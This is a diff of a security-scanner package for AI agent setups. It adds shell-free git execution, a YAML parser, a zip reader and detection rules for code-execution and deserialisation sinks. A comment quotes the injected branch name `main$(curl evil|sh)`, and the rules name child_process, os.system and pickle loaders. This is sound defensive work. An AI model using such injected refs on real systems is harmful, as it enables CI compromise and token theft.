@shomra/agent 0.3.28 → 0.3.30

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (84) hide show
  1. package/package.json +1 -1
  2. package/src/agents/hook-command.mjs +1 -1
  3. package/src/artifacts/matchers.mjs +7 -0
  4. package/src/cli/flags.mjs +2 -2
  5. package/src/cli/help-sections.mjs +7 -0
  6. package/src/cli/help.mjs +1 -1
  7. package/src/commands/check.mjs +3 -11
  8. package/src/commands/gate.mjs +26 -4
  9. package/src/commands/git-hooks.mjs +2 -2
  10. package/src/commands/ledger.mjs +0 -1
  11. package/src/commands/mcp-add.mjs +2 -1
  12. package/src/commands/memory-scan.mjs +135 -47
  13. package/src/commands/pr.mjs +7 -10
  14. package/src/commands/provenance.mjs +8 -13
  15. package/src/commands/scan.mjs +7 -1
  16. package/src/commands/secrets.mjs +4 -5
  17. package/src/core/git-exec.mjs +79 -0
  18. package/src/core/yaml-lite.mjs +300 -0
  19. package/src/core/zip-lite.mjs +37 -0
  20. package/src/detect/local-redact.mjs +1 -3
  21. package/src/detect/sast/rules-config.mjs +1 -1
  22. package/src/detect/sast/rules-javascript.mjs +16 -3
  23. package/src/detect/sast/rules-python.mjs +8 -6
  24. package/src/detect/sast/scanner.mjs +1 -1
  25. package/src/detect/signals/agent-frameworks.mjs +231 -0
  26. package/src/detect/signals/agent-graph-surface.mjs +113 -0
  27. package/src/detect/signals/agentic-ci-surface.mjs +314 -0
  28. package/src/detect/signals/agentic-shim.mjs +82 -0
  29. package/src/detect/signals/artifacts.mjs +8 -36
  30. package/src/detect/signals/autonomy.mjs +9 -1
  31. package/src/detect/signals/chat-template.mjs +211 -0
  32. package/src/detect/signals/ci-workflow.mjs +169 -0
  33. package/src/detect/signals/credential-harvest.mjs +1 -1
  34. package/src/detect/signals/execution-hijack.mjs +4 -2
  35. package/src/detect/signals/gate.mjs +84 -11
  36. package/src/detect/signals/guardrail-shape.mjs +564 -0
  37. package/src/detect/signals/guardrail-surface.mjs +221 -0
  38. package/src/detect/signals/injection.mjs +8 -0
  39. package/src/detect/signals/inspect-shim.mjs +7 -0
  40. package/src/detect/signals/instruction-paths.mjs +60 -0
  41. package/src/detect/signals/manifests.mjs +302 -0
  42. package/src/detect/signals/masking.mjs +14 -1
  43. package/src/detect/signals/mcp-advisories.mjs +109 -0
  44. package/src/detect/signals/mcp-config.mjs +598 -0
  45. package/src/detect/signals/memory-directives.mjs +661 -0
  46. package/src/detect/signals/memory-locations.mjs +158 -0
  47. package/src/detect/signals/memory.mjs +56 -31
  48. package/src/detect/signals/model-config-rules.mjs +655 -0
  49. package/src/detect/signals/model-config.mjs +61 -0
  50. package/src/detect/signals/packages.mjs +2 -2
  51. package/src/detect/signals/prose-context.mjs +6 -9
  52. package/src/detect/signals/scan.mjs +4 -4
  53. package/src/detect/signals/secret-scanner.mjs +241 -0
  54. package/src/detect/signals/secrets.mjs +1 -48
  55. package/src/detect/signals/shell.mjs +10 -10
  56. package/src/gate/advisories.mjs +16 -0
  57. package/src/gate/batch.mjs +10 -0
  58. package/src/gate/environment.mjs +8 -53
  59. package/src/guard/artifact-paths.mjs +107 -0
  60. package/src/guard/classify.mjs +165 -7
  61. package/src/guard/command-resolve.mjs +35 -5
  62. package/src/guard/memory-write.mjs +218 -0
  63. package/src/guard/prompt-guard.mjs +0 -1
  64. package/src/guard/tool-guard.mjs +52 -77
  65. package/src/inventory/agent-posture.mjs +236 -57
  66. package/src/inventory/artifacts/classify.mjs +10 -1
  67. package/src/inventory/artifacts/discover.mjs +113 -3
  68. package/src/inventory/artifacts/extensions.mjs +70 -0
  69. package/src/inventory/artifacts/hook-scripts.mjs +128 -0
  70. package/src/inventory/artifacts/limits.mjs +1 -1
  71. package/src/inventory/artifacts/plugins.mjs +105 -0
  72. package/src/inventory/artifacts/roots.mjs +40 -0
  73. package/src/inventory/discovery/ai-dependencies.mjs +39 -12
  74. package/src/inventory/discovery/all.mjs +4 -0
  75. package/src/inventory/discovery/cloud-clis.mjs +472 -0
  76. package/src/inventory/discovery/coding-agents.mjs +19 -4
  77. package/src/inventory/discovery/mcp-clients.mjs +16 -10
  78. package/src/inventory/discovery/mcp-servers.mjs +125 -35
  79. package/src/inventory/discovery/mcp-stores.mjs +207 -0
  80. package/src/inventory/env-redirect.mjs +148 -0
  81. package/src/inventory/grant-extract.mjs +463 -0
  82. package/src/inventory/project-roots.mjs +108 -0
  83. package/src/inventory/vscode-state.mjs +153 -0
  84. package/src/mcp/server-tools.mjs +1 -1
@@ -0,0 +1,79 @@
1
+ import { execFileSync } from 'node:child_process';
2
+ import fs from 'node:fs';
3
+ import path from 'node:path';
4
+
5
+ /**
6
+ * WHICH `git` RUNS - NEVER ONE THE SCANNED REPOSITORY SHIPS.
7
+ *
8
+ * ⚠ On Windows a bare `git` is looked for in the working directory BEFORE PATH:
9
+ * cmd.exe does it for `execSync('git …')` (trying git.exe, git.bat, git.cmd…),
10
+ * and Node does it for `execFileSync('git')` (git.exe, git.com) unless
11
+ * NoDefaultCurrentDirectoryInExePath is set - which on a developer's machine or
12
+ * a Windows CI runner it normally is not. The working directory is the
13
+ * repository being checked, so a `git.bat` committed to a pull request ran the
14
+ * moment `shomra check` looked at it - with the job's token in its environment,
15
+ * or on the laptop of whoever opened the repo in the editor extension. git is
16
+ * resolved here against ABSOLUTE PATH directories only and always run by its full
17
+ * path; no git on PATH means no git, which every caller already treats as
18
+ * "not a repository".
19
+ */
20
+ export function resolveOnPath(name, env = process.env, platform = process.platform) {
21
+ const p = platform === 'win32' ? path.win32 : path.posix;
22
+ const names = platform === 'win32' ? [`${name}.exe`, `${name}.com`] : [name];
23
+ for (const raw of String(env.PATH ?? env.Path ?? '').split(p.delimiter)) {
24
+ const dir = raw.trim().replace(/^"(.*)"$/, '$1');
25
+ if (!dir || !p.isAbsolute(dir)) continue;
26
+ for (const n of names) {
27
+ const candidate = p.join(dir, n);
28
+ try {
29
+ if (!fs.statSync(candidate).isFile()) continue;
30
+ if (platform !== 'win32') fs.accessSync(candidate, fs.constants.X_OK);
31
+ return candidate;
32
+ } catch {
33
+ /* not in this directory */
34
+ }
35
+ }
36
+ }
37
+ return null;
38
+ }
39
+
40
+ let gitBinary;
41
+ function gitPath() {
42
+ if (gitBinary === undefined) gitBinary = resolveOnPath('git');
43
+ return gitBinary;
44
+ }
45
+
46
+ /**
47
+ * GIT, WITHOUT A SHELL.
48
+ *
49
+ * ⚠ `execSync(`git ${args}`)` handed the whole line to a shell, and part of that
50
+ * line was a BRANCH NAME - from `--base`, from `GITHUB_BASE_REF`, or from the
51
+ * pull-request event payload. `$(...)`, `;` and `|` are all legal in a git ref,
52
+ * so a branch called `main$(curl evil|sh)` ran inside the customer's CI job,
53
+ * with the job's GitHub token in its environment. Arguments now go to git as an
54
+ * argv array, where a metacharacter is just a character.
55
+ */
56
+ export function git(args, { cwd, timeout = 5000, maxBuffer = 16 * 1024 * 1024 } = {}) {
57
+ const bin = gitPath();
58
+ if (!bin) return null;
59
+ try {
60
+ return execFileSync(bin, args, { cwd, stdio: ['ignore', 'pipe', 'ignore'], timeout, maxBuffer, windowsHide: true }).toString();
61
+ } catch {
62
+ return null;
63
+ }
64
+ }
65
+
66
+ /**
67
+ * A ref we are willing to pass as a REVISION argument.
68
+ *
69
+ * ⚠ argv closes the shell hole, not the option hole: a ref beginning with `-` is
70
+ * read by git as a flag (`--output=/etc/...`). Refused, along with anything git's
71
+ * own check-ref-format would refuse.
72
+ */
73
+ export function safeRef(ref) {
74
+ const r = String(ref ?? '').trim();
75
+ if (!r || r.length > 200) return null;
76
+ if (r.startsWith('-') || r.includes('..') || r.endsWith('.lock') || r.endsWith('/') || r.endsWith('.')) return null;
77
+ if (!/^[A-Za-z0-9._\/+-]+$/.test(r)) return null;
78
+ return r;
79
+ }
@@ -0,0 +1,300 @@
1
+ const MAX_BYTES = 1024 * 1024;
2
+ const MAX_DEPTH = 64;
3
+ const MAX_ALIASES = 1000;
4
+ const MAX_EXPANDED = 100_000;
5
+
6
+ class YamlError extends Error {}
7
+
8
+ function stripComment(s) {
9
+ let q = null;
10
+ for (let i = 0; i < s.length; i++) {
11
+ const c = s[i];
12
+ if (q) {
13
+ if (q === '"' && c === '\\') { i++; continue; }
14
+ if (c === q) q = null;
15
+ continue;
16
+ }
17
+ if (c === '"' || c === "'") {
18
+ if (i === 0 || /[\s:,[{-]/.test(s[i - 1])) q = c;
19
+ continue;
20
+ }
21
+ if (c === '#' && (i === 0 || /\s/.test(s[i - 1]))) return s.slice(0, i).trimEnd();
22
+ }
23
+ return s.trimEnd();
24
+ }
25
+
26
+ function scalar(raw) {
27
+ const v = raw.trim();
28
+ if (v === '' || v === '~' || v === 'null' || v === 'Null' || v === 'NULL') return null;
29
+ if (/^(?:true|True|TRUE)$/.test(v)) return true;
30
+ if (/^(?:false|False|FALSE)$/.test(v)) return false;
31
+ if (/^[-+]?\d+$/.test(v) && v.length < 16) return Number(v);
32
+ if (/^[-+]?(?:\d+\.\d*|\.\d+)(?:[eE][-+]?\d+)?$/.test(v)) return Number(v);
33
+ if (v[0] === '"') return doubleQuoted(v);
34
+ if (v[0] === "'") return v.slice(1, v.endsWith("'") ? -1 : undefined).replace(/''/g, "'");
35
+ return v;
36
+ }
37
+
38
+ function doubleQuoted(v) {
39
+ const body = v.slice(1, v.endsWith('"') ? -1 : undefined);
40
+ return body.replace(/\\(u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|.)/g, (_, e) => {
41
+ if (e[0] === 'u' || e[0] === 'x') return String.fromCharCode(parseInt(e.slice(1), 16));
42
+ return { n: '\n', t: '\t', r: '\r', '0': '\0', '"': '"', '\\': '\\', '/': '/', ' ': ' ', b: '\b', e: '\x1b' }[e] ?? e;
43
+ });
44
+ }
45
+
46
+ function parseFlow(src, ctx) {
47
+ let i = 0;
48
+ const ws = () => { while (i < src.length && /\s/.test(src[i])) i++; };
49
+ const value = (depth) => {
50
+ if (depth > MAX_DEPTH) throw new YamlError('depth');
51
+ ws();
52
+ const c = src[i];
53
+ if (c === '[') {
54
+ i++;
55
+ const out = [];
56
+ for (;;) {
57
+ ws();
58
+ if (src[i] === ']') { i++; return out; }
59
+ if (i >= src.length) throw new YamlError('unterminated [');
60
+ out.push(value(depth + 1));
61
+ ws();
62
+ if (src[i] === ',') i++;
63
+ else if (src[i] !== ']') throw new YamlError('flow seq');
64
+ }
65
+ }
66
+ if (c === '{') {
67
+ i++;
68
+ const out = {};
69
+ for (;;) {
70
+ ws();
71
+ if (src[i] === '}') { i++; return out; }
72
+ if (i >= src.length) throw new YamlError('unterminated {');
73
+ const k = token(true);
74
+ ws();
75
+ let v = null;
76
+ if (src[i] === ':') { i++; v = value(depth + 1); }
77
+ out[String(k ?? '')] = v;
78
+ ws();
79
+ if (src[i] === ',') i++;
80
+ else if (src[i] !== '}') throw new YamlError('flow map');
81
+ }
82
+ }
83
+ return token(false);
84
+ };
85
+ const token = (isKey) => {
86
+ ws();
87
+ const c = src[i];
88
+ if (c === '"' || c === "'") {
89
+ let j = i + 1;
90
+ while (j < src.length) {
91
+ if (c === '"' && src[j] === '\\') { j += 2; continue; }
92
+ if (src[j] === c) { if (c === "'" && src[j + 1] === "'") { j += 2; continue; } break; }
93
+ j++;
94
+ }
95
+ const raw = src.slice(i, j + 1);
96
+ i = j + 1;
97
+ return scalar(raw);
98
+ }
99
+ if (c === '*') {
100
+ let j = i + 1;
101
+ while (j < src.length && !/[\s,\]}]/.test(src[j])) j++;
102
+ const name = src.slice(i + 1, j);
103
+ i = j;
104
+ return ctx.alias(name);
105
+ }
106
+ let j = i;
107
+ while (j < src.length && !(src[j] === ',' || src[j] === ']' || src[j] === '}' || (isKey && src[j] === ':' && /[\s,\]}]|$/.test(src[j + 1] ?? '')))) j++;
108
+ const raw = src.slice(i, j);
109
+ i = j;
110
+ return scalar(raw);
111
+ };
112
+ const out = value(0);
113
+ return out;
114
+ }
115
+
116
+ function balanced(s) {
117
+ let depth = 0;
118
+ let q = null;
119
+ for (let i = 0; i < s.length; i++) {
120
+ const c = s[i];
121
+ if (q) { if (q === '"' && c === '\\') i++; else if (c === q) q = null; continue; }
122
+ if (c === '"' || c === "'") q = c;
123
+ else if (c === '[' || c === '{') depth++;
124
+ else if (c === ']' || c === '}') depth--;
125
+ }
126
+ return depth <= 0;
127
+ }
128
+
129
+ export function parseYaml(text) {
130
+ if (typeof text !== 'string' || text.length > MAX_BYTES) return null;
131
+ const rawLines = text.replace(/^/, '').replace(/\t/g, ' ').split(/\r?\n/);
132
+ const lines = [];
133
+ let started = false;
134
+ for (let n = 0; n < rawLines.length; n++) {
135
+ const raw = rawLines[n];
136
+ if (/^%/.test(raw) && !started) continue;
137
+ if (/^(?:---|\.\.\.)(?:\s|$)/.test(raw)) {
138
+ if (started) break;
139
+ const rest = raw.replace(/^---\s*/, '');
140
+ if (rest && !rest.startsWith('#')) { started = true; lines.push({ indent: 0, text: rest, raw, n }); }
141
+ continue;
142
+ }
143
+ const indent = raw.search(/\S/);
144
+ if (indent === -1) { lines.push({ indent: -1, text: '', raw, n }); continue; }
145
+ const stripped = stripComment(raw.slice(indent));
146
+ if (!stripped) continue;
147
+ started = true;
148
+ lines.push({ indent, text: stripped, raw, n });
149
+ }
150
+
151
+ const anchors = new Map();
152
+ let aliasUses = 0;
153
+ let expanded = 0;
154
+ const weights = new WeakMap();
155
+ const weight = (v) => {
156
+ if (!v || typeof v !== 'object') return 1;
157
+ if (weights.has(v)) return weights.get(v);
158
+ weights.set(v, 1);
159
+ let w = 1;
160
+ for (const c of Array.isArray(v) ? v : Object.values(v)) { w += weight(c); if (w > MAX_EXPANDED) break; }
161
+ weights.set(v, w);
162
+ return w;
163
+ };
164
+ const ctx = {
165
+ alias(name) {
166
+ if (++aliasUses > MAX_ALIASES) throw new YamlError('alias bomb');
167
+ if (!anchors.has(name)) throw new YamlError(`unknown alias ${name}`);
168
+ const v = anchors.get(name);
169
+ expanded += weight(v);
170
+ if (expanded > MAX_EXPANDED) throw new YamlError('alias bomb');
171
+ return v;
172
+ },
173
+ };
174
+ let i = 0;
175
+ const peek = () => { while (i < lines.length && lines[i].indent === -1) i++; return lines[i]; };
176
+
177
+ const KEY_RE = /^(?:"((?:[^"\\]|\\.)*)"|'((?:[^']|'')*)'|([^\s#'"{[][^:]*?|[^\s#'"{[]))\s*:(?:\s+(.*)|$)/;
178
+
179
+ function blockScalar(header, parentIndent) {
180
+ const style = header[0];
181
+ const chomp = /-/.test(header) ? 'strip' : /\+/.test(header) ? 'keep' : 'clip';
182
+ const explicit = /\d/.exec(header);
183
+ const collected = [];
184
+ let blockIndent = explicit ? parentIndent + Number(explicit[0]) : -1;
185
+ while (i < lines.length) {
186
+ const l = lines[i];
187
+ const rawIndent = l.raw.search(/\S/);
188
+ if (rawIndent === -1) { collected.push(''); i++; continue; }
189
+ if (rawIndent <= parentIndent) break;
190
+ if (blockIndent === -1) blockIndent = rawIndent;
191
+ if (rawIndent < blockIndent) break;
192
+ collected.push(l.raw.replace(/\t/g, ' ').slice(blockIndent));
193
+ i++;
194
+ }
195
+ while (collected.length && collected[collected.length - 1] === '' && chomp !== 'keep') collected.pop();
196
+ let out;
197
+ if (style === '|') out = collected.join('\n');
198
+ else {
199
+ out = '';
200
+ for (let k = 0; k < collected.length; k++) {
201
+ const line = collected[k];
202
+ if (line === '') out += '\n';
203
+ else if (/^\s/.test(line)) out += (out && !out.endsWith('\n') ? '\n' : '') + line + '\n';
204
+ else out += (out && !out.endsWith('\n') && !out.endsWith(' ') ? ' ' : '') + line;
205
+ }
206
+ out = out.replace(/\n+$/, '');
207
+ }
208
+ return chomp === 'strip' ? out : out + '\n';
209
+ }
210
+
211
+ function inlineValue(rest, parentIndent, depth) {
212
+ let v = rest.trim();
213
+ let anchor = null;
214
+ const am = /^&([^\s,\]}]+)\s*(.*)$/.exec(v);
215
+ if (am) { anchor = am[1]; v = am[2]; }
216
+ v = v.replace(/^!\S*\s*/, ''); // tags are ignored
217
+ let out;
218
+ if (v === '') {
219
+ const nx = peek();
220
+ if (nx && (nx.indent > parentIndent || (nx.indent === parentIndent && /^-(?:\s|$)/.test(nx.text)))) out = node(nx.indent, depth + 1);
221
+ else out = null;
222
+ } else if (/^[|>][-+0-9]*$/.test(v)) out = blockScalar(v, parentIndent);
223
+ else if (v[0] === '*') out = ctx.alias(v.slice(1).trim());
224
+ else if (v[0] === '[' || v[0] === '{') {
225
+ let src = v;
226
+ while (!balanced(src) && i < lines.length) { const l = lines[i++]; if (l.indent !== -1) src += ' ' + l.text; }
227
+ out = parseFlow(src, ctx);
228
+ } else if ((v[0] === '"' && !/"$/.test(v.slice(1))) || (v[0] === "'" && !/'$/.test(v.slice(1)))) {
229
+ let src = v;
230
+ const q = v[0];
231
+ while (i < lines.length && !new RegExp(`${q}\\s*$`).test(src.slice(1))) { const l = lines[i++]; src += ' ' + (l.indent === -1 ? '' : l.text); }
232
+ out = scalar(src);
233
+ } else {
234
+ let src = v;
235
+ while (i < lines.length) {
236
+ const l = lines[i];
237
+ if (l.indent === -1 || l.indent <= parentIndent || KEY_RE.test(l.text) || /^-(?:\s|$)/.test(l.text)) break;
238
+ src += ' ' + l.text;
239
+ i++;
240
+ }
241
+ out = scalar(src);
242
+ }
243
+ if (anchor) anchors.set(anchor, out);
244
+ return out;
245
+ }
246
+
247
+ function node(indent, depth) {
248
+ if (depth > MAX_DEPTH) throw new YamlError('depth');
249
+ const l = peek();
250
+ if (!l) return null;
251
+ if (/^-(?:\s|$)/.test(l.text)) return seq(l.indent, depth);
252
+ if (KEY_RE.test(l.text)) return map(l.indent, depth);
253
+ i++;
254
+ return inlineValue(l.text, indent - 1, depth);
255
+ }
256
+
257
+ function seq(indent, depth) {
258
+ const out = [];
259
+ for (;;) {
260
+ const l = peek();
261
+ if (!l || l.indent !== indent || !/^-(?:\s|$)/.test(l.text)) break;
262
+ const content = l.text.replace(/^-\s*/, '');
263
+ const offset = l.text.length - content.length;
264
+ if (content && (KEY_RE.test(content) || /^-(?:\s|$)/.test(content)) && !/^[[{"']/.test(content)) {
265
+ lines[i] = { ...l, indent: indent + offset, text: content };
266
+ out.push(node(indent + offset, depth + 1));
267
+ } else {
268
+ i++;
269
+ out.push(inlineValue(content, indent, depth));
270
+ }
271
+ }
272
+ return out;
273
+ }
274
+
275
+ function map(indent, depth) {
276
+ const out = {};
277
+ const merges = [];
278
+ for (;;) {
279
+ const l = peek();
280
+ if (!l || l.indent !== indent) break;
281
+ const m = KEY_RE.exec(l.text);
282
+ if (!m) break;
283
+ i++;
284
+ const key = m[1] != null ? doubleQuoted(`"${m[1]}"`) : m[2] != null ? m[2].replace(/''/g, "'") : m[3].trim();
285
+ const val = inlineValue(m[4] ?? '', indent, depth);
286
+ if (key === '<<') merges.push(...(Array.isArray(val) ? val : [val]));
287
+ else out[key] = val;
288
+ }
289
+ for (const src of merges) if (src && typeof src === 'object' && !Array.isArray(src)) for (const [k, v] of Object.entries(src)) if (!(k in out)) out[k] = v;
290
+ return out;
291
+ }
292
+
293
+ try {
294
+ const first = peek();
295
+ if (!first) return null;
296
+ return node(first.indent, 0);
297
+ } catch {
298
+ return null;
299
+ }
300
+ }
@@ -0,0 +1,37 @@
1
+ import zlib from 'node:zlib';
2
+
3
+ export function readZipEntry(buf, wanted, { maxBytes = 1024 * 1024 } = {}) {
4
+ if (!Buffer.isBuffer(buf) || buf.length < 22) return null;
5
+ let eocd = -1;
6
+ for (let i = buf.length - 22; i >= Math.max(0, buf.length - 22 - 0xffff); i--) {
7
+ if (buf.readUInt32LE(i) === 0x06054b50) { eocd = i; break; }
8
+ }
9
+ if (eocd < 0) return null;
10
+ const count = buf.readUInt16LE(eocd + 10);
11
+ let p = buf.readUInt32LE(eocd + 16);
12
+ const want = String(wanted).replace(/\\/g, '/').toLowerCase();
13
+ for (let n = 0; n < count && p + 46 <= buf.length; n++) {
14
+ if (buf.readUInt32LE(p) !== 0x02014b50) return null;
15
+ const method = buf.readUInt16LE(p + 10);
16
+ const csize = buf.readUInt32LE(p + 20);
17
+ const usize = buf.readUInt32LE(p + 24);
18
+ const nlen = buf.readUInt16LE(p + 28);
19
+ const elen = buf.readUInt16LE(p + 30);
20
+ const clen = buf.readUInt16LE(p + 32);
21
+ const local = buf.readUInt32LE(p + 42);
22
+ const name = buf.slice(p + 46, p + 46 + nlen).toString('utf8').replace(/\\/g, '/');
23
+ p += 46 + nlen + elen + clen;
24
+ if (name.toLowerCase() !== want) continue;
25
+ if (usize > maxBytes || local + 30 > buf.length || buf.readUInt32LE(local) !== 0x04034b50) return null;
26
+ const start = local + 30 + buf.readUInt16LE(local + 26) + buf.readUInt16LE(local + 28);
27
+ const data = buf.slice(start, start + csize);
28
+ try {
29
+ if (method === 0) return data.slice(0, maxBytes).toString('utf8');
30
+ if (method === 8) return zlib.inflateRawSync(data, { maxOutputLength: maxBytes }).toString('utf8');
31
+ } catch {
32
+ return null;
33
+ }
34
+ return null;
35
+ }
36
+ return null;
37
+ }
@@ -3,7 +3,6 @@ import { PII_PATTERNS, SECRET_PATTERNS, isPlaceholderSecret, luhnValid } from '.
3
3
  const MAX_TEXT = 200_000;
4
4
  const MAX_SPANS = 200;
5
5
 
6
-
7
6
  export function redactLocally(text, opts = {}) {
8
7
  const src = String(text ?? '');
9
8
  if (!src || src.length > MAX_TEXT) return { text: src, masked: [], unmaskable: [], changed: false };
@@ -17,7 +16,7 @@ export function redactLocally(text, opts = {}) {
17
16
  let guard = 0;
18
17
  while ((m = rx.exec(src)) !== null && guard++ < MAX_SPANS) {
19
18
  if (!m[0]) { rx.lastIndex += 1; continue; }
20
- if (category === 'secret' && isPlaceholderSecret(m[0])) continue;
19
+ if (category === 'secret' && !/private key/i.test(label) && isPlaceholderSecret(m[0])) continue;
21
20
  if (label === 'Credit card number' && !luhnValid(m[0])) continue;
22
21
  spans.push({ start: m.index, end: m.index + m[0].length, label, category });
23
22
  }
@@ -54,7 +53,6 @@ export function redactLocally(text, opts = {}) {
54
53
  return { text: out, masked, unmaskable: [], changed: true };
55
54
  }
56
55
 
57
-
58
56
  export function unmaskableFindings(findings, redaction) {
59
57
  const maskedLabels = new Set((redaction?.masked ?? []).flatMap((m) => String(m.label).split(' + ')));
60
58
  return (findings ?? [])
@@ -18,7 +18,7 @@ export const CONFIG_RULES = [
18
18
  severity: 'HIGH',
19
19
  category: 'remote-code',
20
20
  confidence: 0.8,
21
- re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor)"\s*:\s*"([^"]+)"/,
21
+ re: /"(AutoTokenizer|AutoProcessor|AutoFeatureExtractor|AutoImageProcessor|AutoVideoProcessor)"\s*:\s*(?:"([^"]+)"|\[\s*(?:null\s*,\s*)?"([^"]+)")/,
22
22
  sink: (m) => `auto_map.${m[1]}`,
23
23
  message: 'config maps a tokenizer/processor class to repo-shipped code, executed under trust_remote_code when the tokenizer loads.',
24
24
  remediation: 'Review the referenced tokenizer code before loading; prefer a model whose tokenizer ships with transformers.',
@@ -15,13 +15,26 @@ export const JS_RULES = [
15
15
  remediation: 'Never eval strings. Parse structured input explicitly (JSON.parse) and dispatch on a fixed allowlist of handlers.',
16
16
  cwe: 'CWE-94',
17
17
  },
18
+ {
19
+ id: 'js.command_exec_import',
20
+ title: 'child_process imported (process-spawn capability)',
21
+ severity: 'LOW',
22
+ category: 'code-exec',
23
+ confidence: 0.5,
24
+ re: /require\(\s*['"](node:)?child_process['"]\s*\)|\bfrom\s+['"](node:)?child_process['"]|\bimport\(\s*['"](node:)?child_process['"]\s*\)/,
25
+ sink: (m) => m[0].trim(),
26
+ source: 'tool input / model output',
27
+ message: 'Imports child_process, so this file is able to spawn a shell or process. On its own that is a capability, not a finding - but an agent tool or MCP server that does not need to run commands should not be able to.',
28
+ remediation: 'If this tool has no reason to spawn processes, drop the import. If it does, confirm every invocation uses execFile with a fixed binary and an argument array - never a shell string built from input.',
29
+ cwe: 'CWE-78',
30
+ },
18
31
  {
19
32
  id: 'js.command_exec',
20
33
  title: 'Shell / process execution',
21
34
  severity: 'CRITICAL',
22
35
  category: 'code-exec',
23
36
  confidence: 0.8,
24
- re: /\bchild_process\b|require\(\s*['"]child_process['"]\s*\)|\bfrom\s+['"]child_process['"]|\b(execSync|execFileSync|spawnSync|execFile)\s*\(/,
37
+ re: /(?<!\bfunction\s)\b(execSync|execFileSync|spawnSync|execFile)\s*\(/,
25
38
  sink: (m) => m[0].trim(),
26
39
  source: 'tool input / model output',
27
40
  message: 'Spawns a shell or child process. If any argument derives from tool input or model output this is command injection / RCE in the agent host.',
@@ -104,6 +117,6 @@ export const JS_RULES = [
104
117
  export const JS_TAINT = {
105
118
  lang: 'js',
106
119
  ruleId: 'js.llm_output_to_sink',
107
- aiCall: /\.(generate|invoke|run|complete|stream|predict|call)\s*\(|\.chat\.completions\.create\s*\(|\.messages\.create\s*\(|\.create(Chat)?Completion\s*\(/,
108
- execSink: /(?<![.\w])eval\s*\(|\bnew\s+Function\s*\(|\b(execSync|execFileSync|spawnSync|execFile|exec|spawn)\s*\(|\bvm\.\w+\s*\(/g,
120
+ aiCall: /\.(generate|invoke|complete|stream|predict)\s*\(|\b\w{0,64}(?:[Cc]hain|[Ll]lm|LLM|[Mm]odel|[Aa]gent|[Ee]xecutor)\w{0,64}\.(call|run|invoke)\s*\(|\.chat\.completions\.create\s*\(|\.messages\.create\s*\(|\.create(Chat)?Completion\s*\(/,
121
+ execSink: /(?<![.\w])eval\s*\(|\bnew\s+Function\s*\(|\b(execSync|execFileSync|spawnSync|execFile)\s*\(|(?<![.\w])(exec|spawn)\s*\(|\b(child_process|childProcess|cp|proc)\.(exec|spawn)\s*\(|\bvm\.\w+\s*\(/g,
109
122
  };
@@ -3,9 +3,10 @@ export const PY_RULES = [
3
3
  id: 'python.dangerous_sinks',
4
4
  title: 'Dangerous code-execution sink',
5
5
  severity: 'CRITICAL',
6
+ codeOnly: true,
6
7
  category: 'code-exec',
7
8
  confidence: 0.85,
8
- re: /(?<![.\w])(eval|exec|compile)\s*\(|\bos\.(system|popen|exec[lv]?[pe]*)\s*\(|\bsubprocess\.(run|call|check_output|check_call|Popen)\s*\(|(?<![.\w])__import__\s*\(|(?<![.\w])getattr\s*\(\s*__builtins__/,
9
+ re: /(?<![.\w])(?<!def )(eval|exec|compile)\s*\(|\bos\.(system|popen|exec[lv]?[pe]*|spawn[lv]?[pe]*)\s*\(|\bposix\.system\s*\(|\bsubprocess\.\w+\s*\([^\n]{0,300}shell\s*=\s*True|(?<![.\w])getattr\s*\(\s*__builtins__/,
9
10
  sink: (m) => m[0].replace(/\s*\($/, '').trim(),
10
11
  source: 'model load / forward()',
11
12
  message: 'Model code invokes an arbitrary code-execution primitive. Under trust_remote_code this runs in the host process the moment the model is imported.',
@@ -19,7 +20,7 @@ export const PY_RULES = [
19
20
  category: 'deserialization',
20
21
  confidence: 0.9,
21
22
 
22
- re: /\b(pickle|cpickle|dill|_pickle|cloudpickle)\.(loads?|Unpickler)\s*\(|\bjsonpickle\.(decode|loads)\s*\(|\bmarshal\.loads?\s*\(|\btorch\.(load|jit\.load)\s*\(|\byaml\.(unsafe_load|load\s*\((?![^)]*Loader\s*=\s*yaml\.(Safe|Full)Loader))|\bjoblib\.load\s*\(|\bskops\.io\.load\s*\(|\bshelve\.open\s*\(|\bnumpy\.load\s*\([^)]*allow_pickle\s*=\s*True|\b(pandas|pd)\.read_pickle\s*\(|\bmlflow\.[\w.]+\.load_model\s*\(/,
23
+ re: /\b(pickle|cpickle|dill|_pickle|cloudpickle)\.(loads?|Unpickler)\s*\(|\bjsonpickle\.(decode|loads)\s*\(|\bmarshal\.loads?\s*\(|\btorch\.(load|jit\.load)\s*\((?![^)]*(weights_only\s*=\s*True|use_safetensors\s*=\s*True))|\byaml\.(unsafe_load|load\s*\((?![^)]*Loader\s*=\s*(yaml\.)?\w*(Safe|Full)Loader))|\bjoblib\.load\s*\(|\bskops\.io\.load\s*\(|\bshelve\.open\s*\(|\bnumpy\.load\s*\([^)]*allow_pickle\s*=\s*True|\b(pandas|pd)\.read_pickle\s*\(|\bmlflow\.[\w.]+\.load_model\s*\(/,
23
24
  sink: (m) => m[0].replace(/\s*\($/, '').trim(),
24
25
  source: 'weight / config file',
25
26
  message: 'Deserializes data with a pickle-backed loader. A crafted file runs arbitrary code via __reduce__ on load - the primary model-hub malware vector.',
@@ -125,10 +126,11 @@ export const PY_RULES = [
125
126
  id: 'python.langchain_code_exec',
126
127
  title: 'LLM-driven code-execution component',
127
128
  severity: 'HIGH',
129
+ codeOnly: true,
128
130
  category: 'agentic',
129
131
  confidence: 0.85,
130
132
 
131
- re: /\b(PythonREPL|PythonREPLTool|PythonAstREPLTool|PALChain|CPALChain|LLMMathChain|create_pandas_dataframe_agent|create_spark_dataframe_agent|create_csv_agent|PandasQueryEngine|PandasInstructionParser|CodeInterpreterToolSpec|CodeAgent|LocalPythonExecutor|local_python_executor|PythonInterpreterTool)\b|\bload_tools\s*\([^)]*['"](python_repl|terminal|shell|bash)/,
133
+ re: /(?<!class )(?<!def )\b(PythonREPL|PythonREPLTool|PythonAstREPLTool|PALChain|CPALChain|LLMMathChain|create_pandas_dataframe_agent|create_spark_dataframe_agent|create_csv_agent|PandasQueryEngine|PandasInstructionParser|CodeInterpreterToolSpec|CodeAgent|LocalPythonExecutor|local_python_executor|PythonInterpreterTool)\s*\(|\bload_tools\s*\([^)]*['"](python_repl|terminal|shell|bash)/,
132
134
  sink: (m) => m[0].trim(),
133
135
  source: 'LLM output',
134
136
